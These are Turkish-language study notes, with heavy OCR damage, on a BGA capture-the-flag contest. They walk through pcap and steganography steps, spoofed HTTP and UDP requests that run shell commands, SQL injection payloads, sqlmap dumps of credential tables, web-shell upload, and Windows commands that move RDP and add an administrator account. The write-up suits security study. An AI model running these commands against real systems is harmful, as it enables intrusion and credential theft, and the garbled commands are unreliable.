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e https://www.bgasecurity.com/makale/bga-ctf-ethical-hacking-yarismasi-cozumleri/

resmi adresindeki veya linkin kirik olmasi ihtimaline kargin alternatif olarak

¢ https://www.includekarabuk.com/kitaplik/indirmeDeposu/

Siber_Guvenlik Teknik Makaleler/Teori/BaskalarinaAitMakaleler/CTF%20Ethical

%20Hacking%20Y ar%C4%B1%C5%9Fmas%C4%B1%20%C3%87%C3%B6z
%C3%BCmleri.pdf

adresindeki makaleye calisilarak elde edilen notlarimi kapsamaktadir. Bu ¢ikarilan notlar belgemde
alintilar ve/veya kisisel ilavelerim mevcuttur.



1)

CTF Nedir?

CTF (Capture the Flag) gecmisi Roma donemine dayanan uygulamal ve 6gretici bir oyundur.
Cesitli tarih kitaplarinda farkli milletlerin ¢ocuklarini/genclerini CTF oyunlariyla savasa
hazirladiklar1 yazmaktadir. CTF'de amag 6grenilen savunma ve saldir1 tekniklerini pratige

dokmektir. Giiniimiizde bilisim diinyasinda — 6zellikle bilisim giivenliginde — sik kullanilan egitici
ve dgretici bir yarismadir.

CTF'e katilan giivenlik uzmanlar hedefe ulasmak ve bayragi kapmak i¢in, yani hedef sistemlerdeki
gizli metin dosyasina ulasmak veya sistemi ele gecirmek icin yarisma boyunca cabalarlar.

Bilgi giivenligindeki CTF yarismalar1 yikici bir hacking anlayisindan ziyade katilimcinin teroik
bilgilerini pratige dokiisiinii saglayan bir firsattir.

(Page 3-4)

2)

BGA CTF Yanigmasinda [. Adim
Ik adimda kathmcilan agagidaki sayfa karsilamaktadur.

Hash Degerini Giriniz :

Tamam

Hash Degerini Nasil Elde Edebilirim?

Bu adim network forensic ¢alismalarinin temelini olusturan trafik analizini konu edinmektedir. Bu
adimda katilimcilardan ekranin asagisinda yer alan linkteki pcap dosyasini indirip incelemeleri ve
pcap analizi yaparak hash degerini bulmalar1 beklenmektedir. Tcpdump, Wireshark, tcpflow,
Netwitness gibi araclar kullanilarak bu adim ¢éziilebilir.

Indirilen pcap dosyas: Wireshark'a yiiklendikten sonra File -> Export -> Objects -> HTTP denerek
gizli isimli bir txt dosyas! ortaya cikacaktir.
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Gizli isimli dosya bilgisayara kaydedildikten sonra icerigi incelendiginde base64 encode'lu bir
icerige sahip oldugu ortaya ¢ikacaktir.

http://www.opinionatedgeek.com/dotnet/tools/base64decode/

Yukaridaki base64 decoder araci ile dosya decode edilerek gercek mesaja ulasilmaya cahisilir.
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gizli dosyasinin igerigi yukaridaki gibi textarea'ya kopyalandiktan sonra Decode butonuna basilarak
png dosya formatinda bir icerik ortaya ¢ikacaktir (Linux file komutu ile olusan dosyanin tipi png
olarak belirlenebilir).

Resim dosyasi igerisine steganography uygulanarak hash degeri saklanmistir. Steganography resim
icine gizli veri saklamak icin kullanlan bir yontemdir. Ozellikle yasadis orgiitlerin gizli veri
tasimak icin cok kullandiklar bir yontemdir. Yarismaya donecek olursak resim icerisine gizlenen
hash degerini yine online bir aractan faydalanarak elde edebiliriz.

http://www.kwebbel.net/stega/enindex.php

Simdi resim dosyamizi bu araca yiikleyelim.
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Online tool resim dosyasi yiiklendikten sonra caligtirildiginda resim dosyasi icerisinden asagidaki
mesaj ortaya ¢ikacaktir:

Dosya Daren S Gorindm  Yardm

[6ir sonrak? adimda kullanilacak HASH deger]
03700c95046Fa22efedaFa0fdedlerfh

Boylece bu hash degerini ekrandaki metin kutusuna girerek yarismay1 tamamlariz.

Hash Degerini Giriniz :

03700c05046ta22¢ 7 Ma7e09de4 1e 70 h—_

| Tamam

Hash Degerini Nasil Elde Edebilirim?
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85.95.238.171:B0B0O/Thash=037 15046fa2 2eTelaTel%ded 1eTfblgonde TPl

Tebrikler..!
Takim adimz ve bu level ile ilgili dokumammaz ctf@hackZnet.com adresine mail atimz .
kSonra ki Level icin TIKLA

/

Yapilan iglemleri 6zetleyecek olursak dnce bize bir pcap dosyasi verildi ve bu pcap dosyasindan bir
hash verisi elde edip metin kutusuna girmemiz istendi. Biz pcap dosyasindan gizli isimli bir txt
dosyasi elde ettik. O dosyanin base64 ile kodlandigin fark ettik ve base64 ile decode ettik. Decode
edilen dosyanin png igerigine sahip oldugunu goérerek png uzantili yaptik. Bir resim dosyasi hash
degerini ancak Steganography yontemiyle tutabilecegi icin bu resmi Steganography tool'una soktuk.
Boylece resmin icerisinde saklanmis hash degerini elde edebildik ve I. Adimi boylece
tamamlayabildik.
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3)
BGA CTF Yarismasinda II. Adim

Bu adimda katihmcilardan HTTP iizerinden IP Spoofing yapmalar1 beklenmektedir. IP Spoofing
yapilacagi konusunda ipucu sayfanin kodlarinda HTML yorumu olarak gizlenmistir.

" e - P g = " g e - j — = — - —

{7} 85.95.238.171:8080/step? .php @ | (29~ Google

“Balik¢inin hirs bilyiik ag kiigiik olursa tuttufu balik hep kiigiik olur” Gelin sizinle balik avina gidelim. Diinya

ertlerinden , diigtincelerinden ve stresten uzak adrenalin dolu bir giin gegirelim. -Giinlerden cumartesi yarin pazar bal
ar. Balikta gegirilecek bir giiniin sikici olmamasi igin ncelikle en uygun arkadaglar segilir. Birinci sart deniz tutmaya
inci sart her tiirlil rezillife katlanacak ve ligiincil sart zevk alacak arkadaglar tercihimdir Hafta igi arkadasim Hasan’l:
lagtirdik bu pazar Adrasan’a gidecefiz.Genelde hazirhifi ben yaparim.Kasim ayinin bir Cumartesi giiniiydii oltala

eno Source of: http://85.95.238.171:8080/step2 .php
<meta http-equiv="Content-Type" content="text/HTML; charset=utf-g8" />
<meta http-equiv="Content-Type" conteant="text/HTML; charset=utf-g8" />
::::i: boxrder="1" bordercolor="#FFCC00" style="background-color:#FFFFCC" width="800" cellpadding="0" cellspacing="0"
e

*

“Balikginin hirsi biyiik agy kﬁqﬁﬁ.glursa tuttudu balik hep kiigiik olur”

Gelin sizinle balik avina gidelim. "Biinya dertlerinden , diigiincelerinden ve stresten uzak adrenalin dolu bir giin gegi

-Giinlerden cumartesi yarin pazar bal l.uar. Balikta gegirilecek bir giiniin sikici olmamasi igin Sncelikle en uygun ar

Tabi ki yagananlar bu kadar kisa degil #platsam sayfalar yetmez ancak kisaca bir giinii Szetledim.Birde ziyafet fasli
</tr>

</table>

<|— Eger gercek hikayeye ulagmak istiyorsan, bu sayfaya 5.6.7.8 IP adresini kullanarak baglanmay: dene.Bagarilar —>

</html><br>

rnmnannramn Aamisdam cdilraaldl ATa aldv X me

Yukarida II. adimin sundugu html sayfasini ve o html sayfasinin kaynak kodunu gosteren bir
pencereyi gormektesiniz. HTTP protokolii tcp iizerinden calisan bir protokol oldugu i¢in nermal
yollardan IP Spoofing yapilamaz. Bu asamada katilimcilardan HTTP Header'ina ait X-Forwarded-
For baglik bilgisini hatirlamalar1 ve kullanmalar1 beklenmektedir. X-Forwarded-For baghig1



istemcinin bir sunucuya yapacagi HTTP Request icerisinde istemcinin IP'sini tutmaya yarayan bir
basliktir. X-Forwarded-For'un manipulasyonu farkli sekillerde olabilir. Firefox eklentisi, curl ya da
netcat komut satir1 kullanimi bunlara érnektir. Diyelim ki netcat'i kullanacagiz. Yukarida CTF
yarigmasinin sunuldugu web sayfasinin url'si suydu:

http://85.95.238.171:8080/step2 .php

Simdi adim adli bir dosya olusturalim ve icerigini sadece header bilgisiyle dolduralim (Content'e
gerek yoktur).

adim:
GET /step2 .php HTTP/1.0 // Buradaki url path'i yarisma sayfasindaki path'tir.
X-Forwarded-for:5.6.7.8 // TP'miz bu satir sayesinde 5.6.7.8'mis gibi oldu.

Sonra netcat ile hedef yarismanin sunuldugu sayfaya yukaridaki header bilgisini kullanarak http
request yapalim

>nc 85.95.238.171 8080 < adim // Buradaki url kok dizini yarisma sayfasindaki url'dir.

Boylece yarisma sayfasindaki html yorumunda dendigi gibi yarisma sayfasina (sunucusuna) 5.6.7.8
[P'sinden baglaniyormusuz gibi bir Http Request yapmis olduk. Bunun iizerine sunucu sdyle bir
cikt ile bize donecektir:

Output:
HTTP/1.1 200 OK
Date : Sun, 20 May 2012 01:09:59 GMT
Server: Apache/2.2.14 (Ubuntu)
X-Powered-By: PHP/5.3.2-1ubuntu4.14
Vary: Accept-Encoding
Content-Length: 201
Connection: close
Content-Type: text/html

<meta http-equiv="Content-Type” content="text/HTML; charset=utf-8”/>

Tebrikler...! <br> Takim adimz ve bu level ile ilgili dokiimanimzi <b>
ctf@hack2net.com</b> adresine mail olarak atimiz. <br><br>

Gortildiigi tizere Http Response'un content'i daha once bir hikaye iken simdi degismistir ve level'l
tamamladigimiza dair bir bildirimle bizi karsilamistir. Bu adim1 tamamlayip ilgili dékiimanlari
belirtilen epostaya postalayan takimlara bir sonraki CTF yarismasi adiminin web sayfasi adresi
paylasilmstir.

(Page 9-11)



4)

BGA CTF Yarnigmasinda III. Adim

Bu adimdaki amag hedef sistem iizerinde birakilmis ve TrueCrypt ile sifrelenmis dosyaya erismek
ve dosyanin parolasini bulup igerisindeki gizli mesaji ortaya ¢ikarmaktir. TrueCrypt disk
sifremeleye yariyan en popiiler acik kaynak kodlu programlardan bir tanesidir. Trucrypt programi
sifreleme algoritmalar1 kullandigindan iist diizey bir yazilim bilgisi gerektiren yazilhimdir.

Yarigsmaya gore Truecrypt ile sifrelenmis bgactf.tc isimli dosyayi ele gecirmek icin hedef sistem
tizerinde herhangi bir giivenlik zafiyeti bulunmadigindan katilimcilardan beklenen sey verilen
ipuclar1 dogrultusunda ip spoofing yaparak hedef sistemde shell komutlar calistirabilmek ve
bgactf.tc dosyasini hedef web sunucusundaki web sitesinin okuyabilecegi bir dizine tasiyarak
bilgisayarlarina indirmeleridir. Truecrypt ile sifrelenmis bu dosyay1 katilimcilar makinalarina
indirdikleri takdirde 6zel bir wordlist olusturarak dosyanin parolasini kirmalari ve boylece dosya
icerisindeki gizli mesaji elde etmeleri gerekmektedir.

Yarismanin bu adiminda verilen ipuclar1 sunladir:

e 5.5.5.5 IP adresinden gelen ve 9999 portuna gonderilen tiim istekler hedef isletim
sisteminin komut satirinda ¢alistirllmaktadir.
e TrueCrypt ile sifrelenmis dosyanin sifresi Istanbul'da bir telefon numarasidur.

Genellikle yapilan hata hedef sistemdeki portun TCP oldugunu diisiinmek ve TCP iizerinden IP

Spoofing yapmaya calismaktir. Fakat giiniimiiz internet alt yapisi ve TCP bashgindaki sequence
number diisiiniildiigiinde TCP {izerinden IP Spoofing yapmak miimkiin degildir. Bu nedenle bu

adim icin UDP iizerinden IP Spoofing denemeleri beklenmektedir.

Simdi katihmci olarak su kaanate varabiliriz: Bir hedef web sunucusu var. Bu sunucunun UDP
9999 portu sunucudaki bir daemon tarafindan dinleniyor, fakat bu porta yalnizca 5.5.5.5 IP'sinden
gelen istekler hedef isletim sisteminin kabugunda dogrudan ¢ahistiriliyor. Demek ki hedef web
sunucusunda suna benzer bir komut calistirilmis:

> ncat -u -c /bin/bash -k -n -v --allow 5.5.5.5 -1 9999

Yani yukaridaki kod ile hedef sunucuya 5.5.5.5 IP'sinden gelen ve 9999 portuna varmig paketleri
dinlemesini ve shell (/bin/bash) daemon'inda ¢alistirmasin1 emretmis oluyoruz. Simdi bizim
yapmamiz gereken sey yarismada ismi verilmis olan bgactf.tc adl trucrypt ile sifrelenmis

dosyay1 /var/www dizini icerisine kopyalayacak shell komutunu hedef web sunucusuna géndermek
ve calistirabilmektir. Boylece direk site adin1 ve dosyanin adin1 (www.siteadi.com/bgactf.tc) adres
cubuguna girerek trucrypt dosyasini indirebilecegiz. Bunu gerceklestirebilmek icin, yani belirlenen
bir datay1 (shell komutlarini) belirlenen bir IP ile spoof edip hedefe génderebilmek i¢in hping3
aracin kullanacagiz.

> hping3 --udp 85.95.238.171 -p 9999 -a 5.5.5.5 -E /root/Desktop/data -d 500
[Sunucu IP ] [Port] [Sahte IP] [Content]
Goriildiigi tizere hedefe gonderilen udp paketinin spoof edilmis IP'si hedef sistemde shell komutu

calistirma iznine sahip olan 5.5.5.5 IP numarasidir. Boylece gonderdigimiz paket 5.5.5.5 IP'sinden
sunucuya gidiyormus gibi olacaktir.



Paketin content'ine gelecek olursak data dosyasinin igerisine su shell komutlarim girdigimizi
varsayalim:

cp /tmp/bgactf.tc /var/www/;

Paket icerisinden gonderilen shell komutlar1 hedef isletim sisteminin shell'inde IP spoofing
sayesinde calisacagindan dolay1 bgactf.tc dosyasi cp komutu ile hedef web sitesinin kok dizinine
kopyalanacaktir. Boylece www.siteadi.com/bgactf.tc linki adres cubuguna girilerek arzulanan sifreli
dosya makinamiza inmis olacaktir.

Simdi inen truecrypt ile sifrelenmis dosyay: verilen ipucunu (istanbul tel no tityosunu) kullanarak
kirmamiz gerekmektedir. Madem sifrelenen dosyanin parolasi bir istanbul tel no'su imis, o zaman
crunch tool'u ile 216 ve 212 ile baslayan ve toplam 10 haneli tiim olasi sayilardan olusan bir
wordlist olusturabiliriz. Ardindan online bir TrueCrypt Parolalarina Yo6nelik Kirma islemi yapan
programla sozliik saldirisinda bulunabiliriz. Boylece parolasi kirilan trucrypt dosyasinin icerisine
bakip gizli metne ulagabiliriz. (NOT: TrueCrypt kirma programinin linki pdf'te mevcut. Ama nasil
kullanilacagina dair biseye deginilmemis. O yilizden burada paylasilmadi.).

(http://www.networkpentest.net/2012/06/udp-paketlerine-komut-ilave-edip-spoof.html)
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5)

BGA CTF Yarismasinda IV. Adim

Bu adimda amac hedef sistem (http://85.95.238.171:80) iizerinde en yiiksek haklar ile ful kontrol
sahibi olabilmektir. Hedef siteye giris yaptigimizda bizi bir web portali karsilamaktadir. Ik
yapilmasi gereken sey hedef sistem hakkinda bilgi sahibi olmaktir.

a. Hedef sistem hangi isletim sistemini kullaniyor?

b. Hedef sistemde agik portalar neler ve bu portlarda ¢alisan servisler neler?

c. Hedef sistem iizerinde calisan uygulama nasil bir yapiya sahip? Tespit edilebilen
modiillerin listesi nedir?

Bilgi Edinme Asamasi

Nmap ile hedef tizerinde TCP SYN SCAN teknigi kullanarak tarama gerceklestirelim. Nmap hedef
portlara baglanmak icin SYN paketi gonderecektir. Eger hedef port agiksa ve gelen talebe cevap
verebilir durumdaysa hedef bilgisayardan SYN/ACK paketi donecektir. Eger SYN/ACK paketi
gelirse Nmap RST paketi gondererek 3'lii el sikisma tamamlanmadan, yani TCP oturumu
baslamadan sonlandiracaktir. Ciinkii SYN/ACK paketinin gelmesi portun agik oldugunun
anlasilmasi icin yeterlidir. $imdi tarama islemini yapalim:

> nmap -sS 85.95.238.171 -p 1-100 | more

Output:



Yukaridaki tarama sonuglari incelendiginde dikkat ceken nokta tiim portlarin agik olarak
goziikmesidir. Peki tiim portlar gercekten acik midir?

SN

_—

E SYN + ALK

RAT 5

Ustteki diyagramdan goriilebilecegi gibi bizim Nmap ile génderdigimiz paketlere dénen yanitlar
hedef sistemden gelmiyor, hedef sistemin network'iindeki NAT yapan SYN Proxy Server'dan
geliyor. Bu nedenle Nmap tiim portlar1 acik olarak gostermistir. Bu engeli asmak i¢in nmap'in -sV
parametresi kullamilmalidir. -sV parametresi ile hedef portta calisan servis bilgisi elde
edilebilmektedir. Bu servis bilgileri SynProxy Server'dan degil, arkasindaki gercek hedefimizden
gelecektir. Simdi -sV ile nmap taramasini yapalim:

>nmap -sS 85.95.238.171 -p 1-100 -sV



Output:

Tiim portlar open olarak goziikiiyor olsa da sadece versiyon bilgisine sahip olan portlar esasinda
acik olanlardir. Versiyon bilgileri incelendiginde 80nci TCP portunda Win32 Apache servisinin
calistigi, 81nci TCP portunda ise Ubuntu Apache servisinin ¢alistig1 goriilmektedir. Ayrica 1nci ve
2nci portlarda calisan ssh servislerinin biri Debian servisi oldugu belirtilirken digerinin FreeBSD
servisi oldugu belirtilmistir. Demek ki hedef sunucunun farkh portlar i¢ network'teki farkli farkl
sunuculara yonlendirilmis. Su anda ii¢ adet farkl isletim sisteminin bulundugu bilgisine sahibiz.
Simdi hedef web uygulamasinin 80nci portunu spesifik olarak tarayip sonuglara bir bakalim.

>nmap -sS 85.95.238.171 -p 80 -sV -O



Output:

Artik ilk bastaki sorularimza cevap verebilir durumdayiz.
a. Hedef sistem hangi isletim sistemini kullaniyor?
- Hedef isletim sistemi i¢cin Nmap sunu demis:

Aggressive OS guesses: Microsoft Windows 7 Enterprise (98%),
Microsoft Windows Server 2008 SP1 (95%),
BlueArc Tital 2100 NAS Device

Hedef sisteme web tarayicisi ile eristigimize gore bir web sunucusu olacagi icin
hedef isletim sisteminin yiiksek ihtimalle Windows Server 2008 SP1 oldugu
saptamasini yapabiliriz.

b. Hedef sistemdeki acik portlar ve bu portlarda ¢alisan servisler nelerdir?

- Hedef IP'mizin her portu i¢ network'teki farkl bir sunucuya yonlendirilmis gibi
durmaktadir. Bu nedenle biz tiim dikkatimizi bu adimin bize verdigi url'nin
gotiirdiigii sistemdeki web uygulamasina verecegiz.

Hedef sistemdeki 80nci port iizerinde ¢alisan servis eger Windows IIS olsaydi
versiyon bilgisinde bu yazardi. Versiyon bilgisinde apache yazdigina gére hedef
sistem {izerinde yiiksek ihtimalle Xamp veya Wamp gibi uygulamalardan biri
calismaktadir. Bu noktada Xamp veya Wamp'in hedef Windows sistemi iizerinde
hangi yetki diizeyinde ¢alistigin1 bilmemiz bizim faydamizadir.

c. Hedef sistem tizerinde calisan uygulama nasil bir yapiya sahiptir? Tespit edilebilen
modiillerin listesi nedir?

- Nmap ile yapilan taramanin ¢iktisina gore hedef sunucuda bir PHP uygulamasinin
calistig1 goriilmektedir.

PORT STATE SERVICE VERSION

80/tcp OPEN http Apache httpd 2.2.17 (Win32) mod_ssl/2.2.17
OpenSSL/0.9.80 PHP/5.3.4 mod_perl/2.0.4
Perl/v5.10.1

Boylece network'a has islerimize elveda diyoruz ve simdi web uygulamasina gecis yapiyoruz.



Saldir1 Asamasi

Web uygulamalarindaki mini arama motorlar1 SQL Injection i¢in zafiyet tasiyan modiillerin basinda
gelmektedir. Clinkii arama motorlar kullanicidan gelen degerlere gore veritabaninda islem yapan
modiillerdendir. Hedef web uygulamasinin arama modiilii 6rnegin bir tarih istemektedir.

Arama

Tam Makaleler | Arama Yap

Aranacak Kelime 2009-05-04
O GeneldeO Baslikta O icerikte © Tarihte
Tarih icin Or: 2009-12-25 (yil-ay-gan
| Ara

SQLi zafiyeti (SQL Injection zafiyeti) var m1 yok muyu test etmek icin asagidaki payload'lar
yukarida gosterilen metin kutusuna sirasiyla girebiliriz:

Normal Input : 2009-05-04
Payload I : 2009-05-04' and 'x' = 'x
Payload II : 2009-05-04'and X' ="'y

Birinci payload girildiginde tipki normal input'un déndiirdiigii sonucu ekrana dondiiriirse demek ki
payload'umuzdaki eklemledigimiz sql deyimlerini hedef web uygulamasi sql olarak calistirdi
anlamina gelir. Eger hedef web uygulamasi eklemledigimiz sql deyimlerini sql deyimi olarak degil
de 2009-05-04 string'inin devamui niteliginde bir string olarak yorumlasaydi ekrana normal input'tan
gelen cikti gelmeyecekti. Fakat ayni ¢ikt1 geldigine gore demek ki hedef web uygulamasi girdigimiz
payload'daki tirnak isaretlerini sql komutu olarak okudu. Yani bu demektir ki hedef web
uygulamast sql injection zafiyetine sahiptir. ikinci payload ise WHERE kosulunda false
dondiirecegi icin ekrana bos ¢ikti déndiirmeye yarayan bir payload'dur. Sql Injection zafiyetinin
var oldugunu teyit etmek icin kullanilabilir.

Madem hedef web uygulamasinin arama modiiliinde sql injection zafiyeti var, o zaman sqlmap ile
bu zafiyeti somiirelim. SQLMap'i kullanabilmek icin arama modiiliinden post edilen tiim
degiskenleri kopyalamamiz gerekmektedir. Bunun icin Firefox'un Live HTTP Headers adli plug-
in'ini, Tamper adli plug-in'ini veyahut hackbar adli plug-in'ini kullanabiliriz. Biz Live HTTP
Headers adli plug-in'i kullanalim. Diyelim ki Live HTTP Headers adl plug-in'i Firefox'a kurduk.
Hedef web uygulamasindaki arama motorunun Ara butonuna bastigimizda plugin'e ait pencere
ekrana gelecektir:

“ Live HTTF headers |

Headers Generator Config About

HTTP Headers
hittp:/85.95.238.17 Liprojects. phpfform=ara

POST jprojects. phpTform=ara HTTP/1.1
Host: 85.95.238.171
User-Agent: Mozilla/S.0 (X11; Linux i686; rnv:5.0.1) Gecko/20100101 Firefox/5.0.1
Accept: text/itml application/xhtmi+xml applicationfxml;q=0.9.*/.q=0.8
Accept-Language: en-us,en:g=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: 150-8859-1.utf-8,0=0.7.* .q=0.7
Connection: keap-alive
Referer: hitp://85.95.238.1 71 jprojects_php?form=ara
Content-Type: application/x-www-form-uriencoded
Content-Length: 36
kelime=200%-05-04&Iur=4Laramayap=Ara




Goriildiigii tizere POST edilen degiskenler sunlarmis:
kelime=2009-05-04&tur=4&aramayap=Ara

Simdi bunlar1 kopyalayalim ve sqlmap'e verelim. SQLMap asagidaki kod ile hedef web uygulamasi
izerinde bir siire test yapacaktir ve hedef sistemin kullandig1 veritabani server ismi ve versiyonunu,
ayrica hedef veritabanm server'indaki yiiklii veritabanlarini bize bildirecektir.

> phyton sqlmap.py -u "http://85.95.238.171/projects.php"
--data="kelime=2009-05-04&tur=4&aramayap=Ara"
-p "kelime"
--dbs

Arama kutusunun name attribute'u kelime oldugu i¢in yukaridaki -p parametresi ile sql injection
komutlar kelime parametresinde denensin demis oluyoruz. Yukaridaki kodun ¢iktisi soyle

olacaktir:

Output:

SQLMap hedef web uygulamasinin barindig1 sunucudaki veritabanm sisteminin MySQL 5.0.11
oldugunu saptamistir. Ayrica ekrana hedef web uygulamasinin kullandig1 veritabani kullanicisinin
erigsebildigi veritabanlarinin isimlerini de vermistir. Bunlarin igerisinde iki tanesi dikkat
cekmektedir: "mysql" ve "ctf2". mysql adli veritabanindaki user tablosunda veritabani kullanicilarin
bilgileri yer alir. Dolayisiyla bu bilgileri sqlmap ile bir ¢cekelim:

> phyton sqlmap.py -u "http://85.95.238.171/projects.php”
--data="kelime=2009-05-04&tur=4&aramayap=Ara"
-p "kelime" -D "mysql" -T "user" --dump

Yukaridaki komut sonrasi gelen hesap bilgileri asagidaki gibi olacaktir:

root,<blank>,6 *27829D8751B9D464E73B18428D25AD658D5D5DF0, <bla:
root,<blank>, *27829D8751B9D464E73B18428D25AD658D5SDSDFO, <blal
ktfadmin,(blankh *C1lFB989097872A5DSCOSF7B4D40EOAD36E6FAACA, -
mysql,<blank>, *C1FB989097872A5DSC0O0SF7B4D40EOAD36E6FAAC4, <bl,



Hedef sistemin 3306nc1 portuna baktigimizda agik olmadigini gérecegiz. Dogal olarak veritabani
kullanic1 adim bilsek bile ve sifresini kirsak bile porta erisimimiz olmadiktan sonra hicbir 6nemi
yoktur. Bu durumda aklimiza phpMyAdmin gelmelidir. Phpmyadmin eger hedef sistemde kuruluysa
sqlmap'ten elde ettigimiz hesap bilgileri ile PhpMyAdmin'e girebiliriz. PhpMyAdmin'in kurulu
oldugu dizini bulmak icin hedef web uygulamasina directory brute forcing yapabiliriz. Bu is i¢in
OWASP DirBuster kullanalim.

* OWASP DirBuster 0.12 - Web Application Br

File ©Options About Help

http:/f85.95.238.171:80/

List View | Trae View
Typa Found Respon
L.u- 1-._' r
( fogi-bin 4073
Dir mages d
Drir pma
File Aindes. phg
File ourwark phg 200
File ftestimonials. php 200

Goriildiigii tizere OWASP DirBuster hedef web uygulmasini URL'si {izerinden taradiktan sonra
pma adh bir dizinin var oldugunu kesfetmistir. pma PhpMyAdmin'in bas harfleridir ve istemciyi
phpmyadmin araytiziine gétiiriir. Katilimcilardan bazilar: iste bu kesif dolayisiyla sqlmap ile ele
gecirilen hesaplardan birinin hash'ini kirip phpmyadmin'de login olmay1 ve phpmyadmin {izerinden
hedef sistemi ele gecirmeyi tercih ettiler. Biz ise sqlmap ile kesfettigimiz ve hedef web
uygulamasinin ismiyle uyumlu olan ctf2 adh veritabani {izerinden hedef isletim sistemini ele
gecirmeyi tercih edelim. Zira bu yéntem PhpMyAdmin iizerinden sistemi ele gecirmeye gore biraz
daha cafcafl. DirBuster'dan 6grendigimiz kadariyla hedef web uygulamasinda /admin adli bir dizin
vardir. O halde web uygulamasinin veritabani olan ctf2'de de muhtelemen admin paneline ait
bilgiler yer alacaktir. Simdi ctf tablosunun tablolarini sqlmap ile bir bakalim.

> phyton sqlmap.py -u "http://85.95.238.171/projects.php”
--data="kelime=2009-05-04&tur=4&aramayap=Ara"
-p "kelime" -D "ctf2" --tables

Output:

ctf veritabanina ait tablolardan admin'i secelim ve i¢indeki herseyi dump edelim.

> phyton sqlmap.py -u "http://85.95.238.171/projects.php"
--data="kelime=2009-05-04&tur=4&aramayap=Ara"
-p "kelime" -D "ctf2" -T "admin" --dump



Output:

Simdi admin paneline ait admin kullanicisinin hash'ini hashcat ile kirahm. Hash degerleri igerisinde
salt diye tabir edilen degerden bulunabilmektedir. Bu yiizden eger iznimiz var ise sql injection
zafiyetinden faydalanarak admin login panelinin php'li source kodunu okumaya calisalim. Boylece
parolaya bir salt degeri eklenmis mi gorebiliriz.

> phyton sqlmap.py -u "http://85.95.238.171/projects.php"
--data="kelime=2009-05-04&tur=4&aramayap=Ara"
-p "kelime" --file-read="C:/xampp/htdocs/admin/index.php"

Output: // SQL fonksiyonu LOAD_FILE() sqlmap'te --file-read'tir.

Yukaridaki $bga degiskeni esas sifreyi ve yaninda bir de “bga” string'ini almaktadir. Buradaki
“bga” string'i salt degerini temsil eder. Yani admin panelinden sifre olarak 123456 girildigi takdirde
salt degeri olarak bga string'i sonuna eklenecektir ve password+salt'in (123456bga string'inin) md5
ile 6zeti alinarak elde edilen hash degeri veritabanindaki hash'lerle kiyaslanacaktir. Yani diyebiliriz
ki veritabanindaki hash'ler bga string'i eklenmis halde olusturulmus hash'lerdir. Salt degerini
ogrendigimize gore hashcat ile sifre kirma islemimiz bir miktar daha kolay olacaktir. Sifreyi
kirdigimiz zaman 1029384756 oldugunu gorecegiz.

Sifreyi buldugumuza gore admin paneline admin kullanicisi ve kirdigimiz sifre ile giris yapalim.
Ekrana asagidaki gibi bir dosya upload mekanizmas: gelecektir.



BGACTF ADMIN

Filename: | Dasya Se¢ | Dosya secilmed
Sulbmit]

Birkac kere dosya upload ettigimizde fark edecegiz ki herhangi bir dosya boyutu sinirlamasi ya da
dosya tiirii sinirlamasi hedef upload mekanizmasinda yoktur. Dolayisiyla hedef web uygulamasina
bir shell upload edebiliriz. Baz1 katilimcilar C99 ve r57 gibi cok popiiler shell'ler upload ettiler,
fakat upload ettikleri web shell'leri tarayicilarinda goriintiileyemediler. Bunun tek nedeni hedef
sunucuda calisan Antivirus yazilimidir. Bu nedenle daha basit, ufak shell'ler (6rn; php ile yazilmis
bir sistem komutu caligtiran ufak script'ler) kullanarak bu engeli ortadan kaldirabiliriz.

Simdi hatirlayacak olursak bu adimda amag hedef sistemi ele gecirmekti. Dolayisiyla bir RDP
baglantis1 kurup sistemi ele gecirmek fena olmaz. RDP servisleri 3389ncu portta ¢alisirlar. Hedef
Windows sunucusunun 3389ncu TCP portu Nmap ile tarandig takdirde firewall tarafindan kapal
oldugu sonucuna varilacaktir. Bu da RDP yapamayacagimizi gosterir. Fakat bunun da bir yolu var.

Bir CMD komutu olan tasklist'i web shell iizerinden ¢alistirdigimizda hedef Windows sunucusunda
calisan programlar ¢ikti olarak ekrana gelir.

> tasklist

Bu calisan programlarin listesinde goziimiize bir sey carpmistir: filezillaftp.exe. Neden mi goze
carpmistir?

Nmap ile Filezilla'ya ait ftp portu olan 22'yi taradigimizda bize acik oldugunu gérmekteyiz. Yani
biz FTP servisine ulasabilir durumdayiz. Tamam, FTP hesap bilgilerine sahip degiliz ve o yiizden
FTP oturumu agamayiz belki ama en azindan FTP kapisina ulasabildigimizi gormekteyiz. Eger biz
web shell iizerinden sistem komutlariyla ftp servisinin ¢alismasini durdurursak ve RDP servisini
3389 portundan 22 portuna gekebilirsek RDP'nin kapisina dayanabilecegiz anlamina gelir. Ayrica
RDP oturumu elde edebilmek icin yine sistem komutlariyla hedef isletim sisteminde kendimize ait



bir kullanic1 hesabi olusturursak 22nci porttan RDP oturumu da elde edebiliriz anlamina gelecektir.
Bu is icin 6nce filezilla servisini sistem komutlariyla web shell tizerinden durduralim:

> taskkill /F /T /IM filezillaftp.exe
Boylece port 22 bosa ¢ekilmis olur. Simdi RDP servisini port 22'ye tagiyalim.

> REG ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\

RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x16 /f

0x16 sayisi port 22'nin hexadecimal karsiligidir. Yukaridaki islem ile kayit defterinde gerekli
diizenlemeler yapilir ve RDP servisi port 22'ye tasinir. Fakat bu isin etkinlesmesi i¢cin RDP
servisinin restart'lanmas1 gerekmektedir. Asagidaki komut ile RDP servisini restart'lariz:

> net start TerminalService
Daha sonra hedef isletim sisteminde kendimize ait bir kullanici olusturalim:

> netuser MEHMET tuzlucayir /add
Son olarak olusturdugumuz kullaniciyr Administrator grubuna ekleyelim:

> net localgroup Administrators MEHMET /add

Boylece uzak masaiistii baglantisi ile sistemi tipk1 VNC'de oldugu gibi karsisinda oturuyormus gibi
GUI iizerinden yonetebiliriz.

Windows sistemlerde xampp veya wamp gibi yazilimlar kurulu oldugunda bu uygulamalar
Administrator haklari ile calisirlar. Bizim yaptigimiz process sonlandirma, regedit dosyasini
diizenleme, administrator grubuna kullanici ekleme gibi islemler administrator hakki
gerektirmektedir. Web servisi (xampp) administrator haklar ile ¢calistig1 icin onun igerisinde yer
alan web shell iizerinden Administrator haklariyla admin islemleri yapabildik.
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